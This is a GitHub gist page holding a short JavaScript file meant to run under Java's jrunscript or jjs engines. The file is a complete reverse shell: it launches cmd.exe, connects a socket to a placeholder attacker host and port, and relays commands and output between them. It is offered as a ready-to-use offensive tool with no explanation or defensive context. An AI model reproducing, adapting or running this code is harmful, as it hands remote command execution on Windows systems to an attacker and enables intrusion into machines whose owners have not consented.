-
-
Save h4wkst3r/786723edcb37628a81ce76a7e8b79cdb to your computer and use it in GitHub Desktop.
Reverse CMD Javascript File - Execute w/ JRunscript or JJS
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var host="x.x.x.x"; | |
var port=1234; | |
var cmd="cmd.exe"; | |
var p=new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start(); | |
var s=new java.net.Socket(host,port); | |
var pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream(); | |
var po=p.getOutputStream(),so=s.getOutputStream(); | |
while(!s.isClosed()){ | |
while(pi.available()>0) | |
so.write(pi.read()); | |
while(pe.available()>0) | |
so.write(pe.read()); | |
while(si.available()>0) | |
po.write(si.read()); | |
so.flush(); | |
po.flush(); | |
java.lang.Thread.sleep(50); | |
try { | |
p.exitValue(); | |
break; | |
}catch (e){ | |
} | |
}; | |
p.destroy(); | |
s.close(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment